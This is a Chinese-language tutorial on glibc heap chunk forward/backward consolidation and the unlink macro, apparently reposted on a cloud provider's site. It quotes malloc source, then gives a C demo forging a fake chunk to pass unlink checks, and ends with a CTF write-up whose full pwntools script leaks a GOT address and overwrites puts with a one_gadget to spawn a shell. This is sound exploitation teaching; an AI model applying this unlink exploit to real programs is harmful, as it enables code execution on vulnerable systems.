您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關如何進行Glibc堆塊的向前向后合并與unlink原理機制探究,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
Unlink是把free掉的chunk從所屬的bins鏈中,卸下來的操作(當然還包括一系列的檢測機制),它是在free掉一塊chunk(除fastbin大小的chunk外)之后,glibc檢查這塊chunk相鄰的上下兩塊chunk的free狀態之后,做出的向后合并或者向前合并引起的。
p是指向free掉的chunk的指針(注意不是指向data的指針,是chunk),size是這塊chunk的size。
/* consolidate backward */4277 if (!prev_inuse(p)) {4278 prevsize = prev_size (p);4279 size += prevsize;4280 p = chunk_at_offset(p, -((long) prevsize));4281 unlink(av, p, bck, fwd);4282 }4283 4284 if (nextchunk != av->top) {4285 /* get and clear inuse bit */4286 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);4287 4288 /* consolidate forward */4289 if (!nextinuse) {4290 unlink(av, nextchunk, bck, fwd);4291 size += nextsize;4292 } else4293 clear_inuse_bit_at_offset(nextchunk, 0);42944295 /* 4296 Place the chunk in unsorted chunk list. Chunks are 4297 not placed into regular bins until after they have 4298 been given one chance to be used in malloc. 4299 */4300 4301 bck = unsorted_chunks(av);4302 fwd = bck->fd;4303 if (__glibc_unlikely (fwd->bk != bck))4304 malloc_printerr ("free(): corrupted unsorted chunks");4305 p->fd = fwd;4306 p->bk = bck;4307 if (!in_smallbin_range(size))4308 {4309 p->fd_nextsize = NULL;4310 p->bk_nextsize = NULL;4311 }4312 bck->fd = p;4313 fwd->bk = p;4314 4315 set_head(p, size | PREV_INUSE);4316 set_foot(p, size);4317 4318 check_free_chunk(av, p);4319 }4320 4321 /* 4322 If the chunk borders the current high end of memory, 4323 consolidate into top 4324 */4325 4326 else {4327 size += nextsize;4328 set_head(p, size | PREV_INUSE);4329 av->top = p;4330 check_chunk(av, p);4331 }
向后合并部分的代碼在4277-4282行
向后合并流程:
檢查p指向chunk的size字段的pre_inuse位,是否為0(也就是檢查當前chunk的前一塊chunk是否是free的,如果是則進入向前合并的流程)
獲取前一塊chunk的size,并加到size中(以此來表示size大小上已經合并)
根據當前chunk的presize來獲得指向前一塊chunk的指針
將這個指針傳入unlink的宏(也就是讓free掉的chunk的前一塊chunk進入到unlink流程)
如果free掉的chunk相鄰的下一塊chunk(下面用nextchunk表示,并且nextsize表示它的大小)不是topchunk,并且是free的話就進入向前合并的流程。(見代碼4284-4289行)
如果nextchunk不是free的,則修改他的size字段的pre_inuse位。
如果nextchunk是topchunk則和topchunk進行合并。
ps:檢測nextchunk是否free,是通過inuse_bit_at_offset(nextchunk, nextsize)來獲得nextchunk的相鄰下一塊chunk的size字段的presize位實現的。
向前合并流程(見代碼4290-4291):
讓nextchunk進入unlink流程
給size加上nextsize(同理也是表示大小上兩個chunk已經合并了)
unlink是個宏,但是在讀代碼的時候請把bk和fd當作變量。
ps:p是指向chunk的指針。
#define unlink(AV, P, BK, FD) { if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) malloc_printerr ("corrupted size vs. prev_size"); FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr ("corrupted double-linked list"); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range (chunksize_nomask (P)) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr ("corrupted double-linked list (not small)"); if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } } \ } }
檢查當前chunk的size字段與它相鄰的下一塊chunk中記錄的pre_size是否一樣如果不一樣,就出現corrupted size vs. prev_size的錯誤
檢查是否滿足p->fd->bk==p和p->bk->fd==p,否則出現corrupted double-linked list,錯誤。
解鏈操作:fd->bk=bk和bk->fd=fd(學過循環雙鏈表的都能看懂吧)
這里配上一張CTFwiki的圖:接下來的代碼其實是對largechunk的一系列檢測和處理機制,這里可以不用管,一般實戰利用的時候都是對smallchunk進行利用的。
以上就是unlink的操作,本質上就是從glibc管理的bin鏈中解鏈以及解鏈前的安全檢查(防止被利用)
那unlink之后又做了什么呢?
不管是向前合并還是向后合并,unlink后都會來到4301-4318行。
其實做的是,將合并好的chunk加入到unsorted bin中第一個
并且如果這個chunk是samll chunk大小的話它是沒有fd_nextsize和bk_nextsize的
然后就設置合并過后的chunk的頭部(設置合并過后的size,已經合并形成的chunk的下一塊chunk的pre_size字段)
理論上面已經談過了,butTalk is cheap,Debug is real!先來個小demo結合上面的原理感受下。
#include <unistd.h>#include <stdlib.h>#include <string.h>#include <stdio.h>struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding};int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20]; // First grab two chunks (non fast) chunk1 = malloc(0x80); chunk2 = malloc(0x80); printf("%p\n", &chunk1); printf("%p\n", chunk1); printf("%p\n", chunk2); // Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header // First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P // Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x80; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("%p\n", chunk1); printf("%x\n", chunk1[3]); chunk1[3] = (unsigned long long)data; strcpy(data, "Victim's data"); // Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL; printf("%s\n", data); return 0; }
ps:**在這個Demo中假定chun1的數據內容是被攻擊者可控的并且可以溢出修改到下面一個chunk
先malloc兩個chunk,然后看看他們的地址
然后在chunk1中偽造一個chunk,使得fake_chunk->fd->bk==fakechunk和fake_chunk->bd->fd==fake_chunk來避過corrupted double-linked list檢測。
因為要使得fake_chunk->fd—>bk==fakechunk的話,要使得fake_chunk->fd里面存的是存有chunk1的地址的變量往上偏移0x18,同理fake_chunk->bk也是要網上偏移0x10的。然后修改好chunk2的presize字段為0x80就是chunk1的數據大小(用來避過corrupted size vs. prev_size檢測的),和size字段的preinuse位為0(),從而達到欺騙glibc的機制,讓它一位chunk2的前一塊chunk(也就是chunk1)是free的,并且滿足unlink所有的安全機制。這時候free掉chunk2的話就會觸發向后合并。看一看chunk1和chunk2的情況。以及完全構造好了。接下來就是free(chunk2)觸發unlink。觸發之后
chunk1的內容變成了&chunk1-3了。
這是因為fake_chunk->bk->fd=fake_chunk->fd,前面已經講過fake_chunk->bk->fd指的是chunk1,而fake_chunk->fd指的是&chunk1-0x10.所以一unlink過后,chunk1里邊存的是&chunk1-0x10的地址。
看看里邊的內容:畫線的地方是chunk2存的內容,無疑是棧上的東西了。而它前一個8字節存的就是chunk1存的地址0x00007fffffffdcb8,對吧自己算算地址,不就是&chunk1-0x18了么?
經過原理探究和demo調試,心中已經對unlink有感覺了吧,再來道題,練練應該就沒問題了吧。
在網上找了一個題,拖進ida看看
主菜單如圖。關鍵部分是:**添加**,**刪除**,**顯示**,**編輯**
**添加**:
總共可以添加99個chunk,然后根據輸入的lenth(長度沒有限制),然后申請內存并記錄在全局變量中,并且lenth也是記錄在全局變量中的,然后往內存中讀入內容。
**刪除**:
根據輸入的index,free掉對應的塊,并將記錄的地址和lenth清零。看來沒有uaf。
**顯示**:
直接遍歷全局變量數組,打印對應內存的內容,可以用來泄露地址。
**編輯**:
根據輸入的index和lenth來修改chunk的內容。(lenth是我們自己控制的,所以存在溢出修改)
綜上分析,選擇的思路是:
構造兩個相鄰塊,來實現unlink的操作。
當時要要注意unlink的檢測條件,所以申請了連續4個chunk,用index為1和2的chunk來構造Unlink所需的chunk。
unlink之后,存有index為2的指針變量就會指向他的地址-0x18處。然后通過edit index2,修改全局變量數組的內容為got表地址,從而泄露,然后再查查庫,之后就好利用了,我這里使用的是one_gadget覆蓋puts的got表.
**exp**:
```
from pwn import *
context.log_level="debug"
def add(len,content):
p.recvuntil("choice:")
p.send("2")
p.recvuntil("name:")
p.send(str(len))
p.recvuntil("servant:")
p.send(content)
def change(index,len,content):
p.recvuntil("choice:")
p.send("3")
p.recvuntil("servant:")
p.send(str(index))
p.recvuntil("name:")
p.send(str(len))
p.recvuntil("servnat:")
p.send(content)
def free(index):
p.recvuntil(":")
p.send("4")
p.recvuntil("servant:")
p.send(str(index))
def show():
p.recvuntil("ce:")
p.send("1")
libc=ELF("libc.so")
puts_got=0x602020
free_got=0x602018
binsh="/bin/sh"
ptr=0x6020e8
p=process("./pwn13")
add(0xf0,"aaa")
add(0xf0,"bbb")
add(0xf0,"ccc")
add(0xf0,"ddd")
change(2,0xf8,p64(0x110)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+(0xf8-0x28)*"a"+p64(0xf0)+p64(0xf0))
change(0,0x100,"a"*0xf8+p64(0x111))
free(1)
change(2,0x10,p64(0xf0)+p64(free_got))
show()
p.recvuntil("1 : ")
free_addr=u64(p.recv(6).ljust(8,'\0'))
print "free:"+hex(free_addr)
one_gadet=free_addr-libc.symbols['free']+0x45216
puts_addr=free_addr-libc.symbols['free']+libc.symbols['puts']
change(1,0x16,p64(puts_addr)+p64(one_gadet))
p.interactive()
看完上述內容,你們對如何進行Glibc堆塊的向前向后合并與unlink原理機制探究有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。